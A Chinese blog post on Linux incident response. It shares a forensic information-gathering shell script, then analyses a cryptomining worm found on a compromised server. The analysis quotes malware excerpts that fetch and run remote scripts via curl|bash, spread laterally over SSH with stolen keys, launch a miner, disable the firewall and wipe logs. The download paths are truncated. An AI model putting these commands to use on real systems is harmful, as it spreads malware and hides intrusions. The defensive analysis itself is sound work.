|
背景 前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。 PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。 应急操作笔记查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。 自动化信息收集我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。 - ' D2 L" M; f) `' }
- #!/bin/bash
- s$ z$ P: Y& y: H$ Y+ E - 3 d+ Z1 P: g7 e' C
- function initial(){" u% [+ U/ {* x5 h4 u5 a; w
- echo "Doing initial"/ J$ t( x# c# n. d; w
- mkdir /tmp/GatherInfo - S$ e4 R$ l5 j, m
- chmod +x ./chkrootkit2 g/ s$ O3 m, y1 o ~
- chmod +x ./busybox& n# }* N8 m. \- t; u
- }
: W. G9 M: M$ j! v1 z, R" [2 i" S7 B
8 {- s/ p3 h: t- function chkrootkit_info(){
8 Z: a I, l% [# ?7 h - echo "Doing chkrootkit"4 n9 V; |! G# K+ |
- ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&13 y- R1 j( F/ q6 ^
- }
0 |: G1 L* U. k2 j - E0 V( i! F: z$ U8 a. Y9 i: n
- function network_info(){2 x7 b: C" y( u f5 C4 S2 ^
- echo "Gathering network info"
+ Y- i8 W# K0 u! _, @' T1 b# i/ Q/ I - netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1( e p( Y- e/ y1 [) [
- netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1
/ q2 s- U/ i8 n - }1 F7 W/ E6 o( K- Q% k$ b! l9 y" g
- & Z% O6 m3 `7 K9 T1 X
- function process_info(){
; E: F1 _9 Y6 [+ b Y+ J - echo "Gathering process info"% F2 \# t# V1 _+ B [' R7 \
- ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
" x% p, o9 `8 D# E( e2 B - ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
. V x9 Y( R6 i8 M - top -n 1 > /tmp/GatherInfo/top_n1.log 2>&11 b3 k: p6 D0 S5 C5 w) U8 j9 q$ r
- }
' F0 d4 \5 f" e6 M - ! o3 ~& b* F# o: G( }- c, u
- function init_info(){
, [' b. C% u8 `7 k [; m' ^ - echo "Gathering init info"
: Y* l y9 }5 h& S3 u% a - chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1; C4 w; [# R0 l( _% F: C, N
- ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
/ l5 P$ Y% W$ q4 K( a - }
7 u1 M3 B) \2 y$ F( c" L( p' [, B - s X2 f) Z# j5 a
- function cron_info(){
8 a7 r* e. |1 B - echo "Gathering cron info"
5 z. Q+ Z7 r% M' ^ v! U9 t - cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
3 {. w' a' {9 F) m- m/ V% O6 `( s - cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&1
2 k! s" `# Y+ L) A - crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1
4 w$ V) z3 Y3 k. ~. a - 6 z8 t7 ]' @' w, y8 m
- cd /etc/cron.d/9 Y! ?* ~, B! R8 J: ]- Z* ?' b: `
- cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1, H" h; o/ M! Z' q. ], g
- cd /etc/cron.daily/' S* w0 t, E1 i$ G# ]& l" D: E+ Y
- cat * > /tmp/GatherInfo/etc_daily.log 2>&1
* N* c) Q# i% @3 K* s, _8 r - cd /etc/cron.hourly/
+ M" O$ \0 {, C - cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
+ u* h: s/ | a7 f; d) O3 E - cd /etc/cron.monthly/
2 O0 I2 y% l. B- u0 a3 S7 E+ W$ { - cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
' s* e' I6 P) R% I - cd /etc/cron.weekly/6 I, z1 n! Z% v. ^4 L' E* S4 l! z$ g
- cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
$ G# s( P: I2 i - cd /var/spool/cron/$ V8 n. h+ ]. w% s5 |6 {0 s
- cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
; }# X) W9 w8 l3 w - cd /var/spool/anacron/8 I, v% B0 _6 G) L& c
- cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1- p5 ?' V4 a: X6 ?0 p
- }5 q* \6 _% C5 V( D
( j! Q: e& P* |! [: R! \, y- function other_info(){
7 I& \. t0 ]+ E! }1 y9 E- W8 @ - echo "Gathering other info"
: D) u0 g S7 ~5 ~; B( z3 ^ - cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1+ d3 l9 V$ _, b" N$ _# f; F
- ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
( T- n1 |8 `- Y- v. N - ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
4 {. D8 u2 |& f1 f* C; G2 i f - ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&14 P' V" C- X* t+ C. r- {
- echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1( \. t% e! B- F' d$ w
- cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
% M" M, @- Z3 }: q. f7 X - s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1
4 }8 i( [# D- A) k - cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1
. w0 a$ S+ ]/ g9 i8 s9 T$ @) M
, N6 ]# N! P* H- z& [- for user in /home/*
% D8 I( ?* q' z- D: c0 e - do3 ~2 E- @/ G% s, _5 V7 l
- if test -d $user;then
; F) q T8 l1 y - cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
8 e7 Q- v( C: o, N- l - fi
! k* ], n- L3 i( V - done( W: ^' I, g* D- P
- }& ^8 q. P, _1 \+ A7 b' W8 q
4 I" S w* i; y6 q- initial# {1 ]2 V* `: o& w. H
- chkrootkit_info
7 Z p; D0 T0 f - network_info
. V C4 {2 C& R2 `+ Q$ Q4 K2 b7 A( U - process_info, o$ S0 h! c! e8 M! N/ H9 \; r/ A
- init_info
- U, ~& U+ Q" h - cron_info" Z5 g! I3 q- t1 {$ [
- other_info
9 `0 d( k: T# x9 ]3 |* n: y - `! M) Z3 f5 P% t4 s, _
- cd /tmp
& u& ^' C G1 c - tar -zcvf GatherInfo.tar.gz GatherInfo
复制代码 信息收集结果分析查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查 应急响应检查表 在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务 - ! W$ {# Q( {+ c2 x
- 59 * * * * root (curl -fsSL http://t.amynx.com/ ......
) @; O1 a. D5 s - 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......( |, x; v; O# m5 t: f) g: V
- 13 * * * * root ps aux|grep lplp.ackng.com ......
复制代码
1 C: v/ r) J8 [3 c+ H" X我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么 恶意脚本分析恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码 - / ~3 A) u# }; C0 |9 v2 J0 |
- #/bin/bash
F9 ~* R4 Q6 j' ~! W' r, r - processes(){9 m m2 }1 i6 D6 D/ D
- killme() {- F3 o) n4 i4 Z3 D9 S
- killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &- K1 @6 A8 w0 {
- }
: h: g1 k, S- u6 M - * ?7 B% N8 h2 J0 L7 Y
- killa() {( w8 C2 g# p: \* x& W( Q- c- [
- what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&! H4 h6 b. A0 J/ j! R2 ]
- }4 |" q5 f' T2 [' T$ d ^% S
' t- S2 ?, ~: f ?) L/ T1 U- killa 34e2fg) s c1 b+ J8 f! ^, o* E& O
- killme; p2 @. k6 m1 {2 b1 e5 g+ B6 A8 ]. \
* J, g( }* A8 l( ~- killall \.Historys
" S7 ?* u0 e" K5 m: w& ~7 C - killall \.sshd, y( y' T, d9 y9 e5 [+ W% }% C: ]
- killall neptune3 C/ ^, b- h. L5 Q
- killall xm640 s; X8 N% d% e) u) @$ w- @# _+ y
- killall xm32 r3 A, x" \5 z' }% d8 ~
- killall xmrig/ G) b. T$ A& j% q6 s7 @8 V
- killall \.xmrig
* K' Q( H7 P' y: G4 y7 \ - killall suppoieup
" g" Q+ b! C2 B. f
" K+ g4 \0 D" |' {* V7 z% ?- # sshd
& L: H2 S# ?& f! [; U - ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid/ s. i/ T& q# L4 I" v: P& @/ E
- while read sshdpid
# M" I- E1 S! ^) R% W9 j - do8 r* @( g4 z& h; p/ Z
- if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]! l& U7 w0 R( |; k, ?6 c2 ]- d
- then/ }, }# u9 X$ j, | B6 ~1 ^9 F% V
- kill $sshdpid+ C$ J, T7 h3 m, T
- fi
$ X! N) x7 ]0 o0 O1 v3 { - done < /tmp/ssdpid* {" T0 P) P/ W5 k6 ~2 p. G
- rm -f /tmp/ssdpid
+ B @+ ^8 ^1 o, k1 ~' y3 A; i4 | - . x5 v x. r6 {7 ^( a0 Q
- # Removing miners by known path IOC
1 q$ c, `( F$ O7 p! Z" ~; T3 ` - files(){( ^; ]$ m; H7 ^/ z+ \6 `
- ulimit -n 65535) _; l& b7 v4 V
- rm -rf /var/log/syslog0 Y7 \" a: ?7 A2 [0 n
- chattr -iua /tmp/
& Y c4 ?( y2 Q: V0 K2 N - chattr -iua /var/tmp/6 @. H# v5 ~* U) i! G9 e) a
- chattr -R -i /var/spool/cron* h2 p1 Q) E' `' j5 J
- chattr -i /etc/crontab
C5 {" |! x. X: K) N - ufw disable! r5 U" m% T( X0 C2 z+ n5 U
- iptables -F
0 z. K( |% l* W) e - echo "nope" >/tmp/log_rot5 }3 e' K% q% p/ k$ j
- sudo sysctl kernel.nmi_watchdog=08 n9 A8 |) a2 y' `# ~
- echo '0' >/proc/sys/kernel/nmi_watchdog
4 c3 G: N; M% Z) R+ u2 c8 f" e - echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
9 l* g. @2 {1 p: ~ - rm /tmp/.cron
% x; t* s" G& F0 W5 O2 c - rm /tmp/.main! k% y; c% u N5 L6 r1 ]
- rm /tmp/.yam* -rf
) o6 U" u5 K* b ]3 f1 Q - rm -f /tmp/irq% v! |5 i, }/ q" B. F1 d# r* \4 z
- 9 Y- a% X& |! w9 g+ M, S
- # Killing and blocking miners by network related IOC( ?' ~ B/ a9 c' {
- network(){7 d8 d1 \: z8 h* K$ l* S7 H
- # Kill by known ports/IPs
5 p' a" j5 T5 e - netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
1 [# Y, ~- C! t4 h) @0 ]3 V( W - netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9- o# u: W6 g+ V* h' a- W" Z5 J
+ g. _6 G' Z7 N2 q, N- j/ E- files# f0 ~2 z7 G4 Q4 V5 D: d- n
- processes
* l4 b* _1 P( v9 h" x( Q - network" x9 @- }3 @4 t K: g9 \
- echo "DONE"
复制代码 : \0 d9 l+ ?# a& z0 X
接下来是下载恶意二进制程序以及ssh横向传播
+ ~2 _) J3 ^' J! D) f- 代码片段1
7 Q6 Q* G/ F% r- v; b - if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
0 ?3 H# W* V( F6 X - for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......
+ j- g8 F# S9 h - fi7 n7 C" L5 h/ B* f) W
9 c H+ l) c/ x# [$ g# U8 Q- 代码片段2. W& R) Q8 X7 k' `4 g& R
- for file in /home/*7 f) |/ ^+ G- v1 q1 c
- do
" g7 n6 t. M, C- [4 r4 v2 F. s - if test -d $file; then
2 b. o6 T& w! ~$ b, } - if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
7 ?0 }; {0 [# ~8 _ - for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
# r) J( h4 G2 v - fi/ p" }% R' q' S
- fi
) w4 o {. x7 i2 o2 i/ O0 Q - done6 H# X) D0 {- f9 U
5 P2 I6 o S* o/ [5 p7 c, V- H- 代码片段3
# V: X L* x+ _% Y* Z/ G6 N' }7 d. L - for user in $userlist; do1 t- t8 [" \8 G x6 P
- for host in $hostlist; do
) I# e- u) c6 f# \7 g - for key in $keylist; do! S$ [1 [3 b# X# y( s
- for sshp in $sshports; do
8 e$ E( e9 I% F5 B4 n - i=$((i+1))
" _+ D, J. c8 _; s: F* ]- g - if [ "${i}" -eq "20" ]; then
8 c6 [- L3 i( p& W2 b% K& r- R - sleep 20; o4 @& u8 Q' H0 \
- ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &' u1 c; d, s6 Z2 A% g
- i=0
5 ~$ s. }$ v+ |7 @4 ~2 X - fi
9 E# h3 j5 s. Q, {. I! ]3 m! R - #Wait 20 seconds after every 20 attempts and clean up hanging processes
- P; Z% q( H" j ?+ p
$ A s7 ^0 j+ i1 i0 N- chmod +r $key
4 h/ d8 Z; b: V* W( U% k! v9 g - chmod 400 $key' w- Z1 q" g) T' Q6 t
- echo "$user@$host $key $sshp"
# m! n1 n4 b/ ~# Y - ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"6 @; N+ X# Z" V: M0 t4 L, X# U1 I
- done
0 D4 [+ W( g9 w - done
" [& c3 P. j- H - done8 I$ L6 j% g" C- m) h7 ?
- done
复制代码 % v# A% K: h/ G2 ?
上面这三段代码是通过ssh的证书登录方式横向感染传播。
+ w- c( B( p: C l I- if [ ! -d "/.Xll" ];then
- S0 `& m/ U' A7 W5 t - mkdir /.Xll b& d- n% l; u7 J2 h
- fi: A e/ F X i9 a% k
- cd /.Xll# _/ J$ S1 [: \: r
- if [ ! -f "./xr" ];then: c5 O' D: [+ b& P
- uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......
$ c6 ?- X* ]% e# }& t: l - fi
& N7 h; W' l6 b3 h1 Y8 [ - uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529
复制代码
" l/ g$ [3 ^% x, V6 V上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。 最后是清理痕迹
+ D3 f3 x6 Z d9 a+ P; J$ c- history -c
4 @- y- q, ^ K; V5 x; D/ g/ ]( N - echo 0>/var/spool/mail/root2 S {# w- g6 m) U, H, n
- echo 0>/var/log/wtmp7 S4 H1 h: r7 c
- echo 0>/var/log/secure
9 n: ?; g6 a" h; s& Q* } - echo 0>/var/log/cron+ n3 i. `3 e+ L& K$ N% x8 Y
- echo > /root/.bash_history
复制代码 清理与恢复根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录 总结与反思病毒标识目录及文件 /.Xll 和 /.Xll/xr 进程表示 ps aux | grep lplp.ackng.com 两个域 t.amynx.com, t.jdjdcjq.top 挖矿威胁小于勒索每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。 无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。 防护建议一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。
7 }8 D1 U; \/ k+ v. i |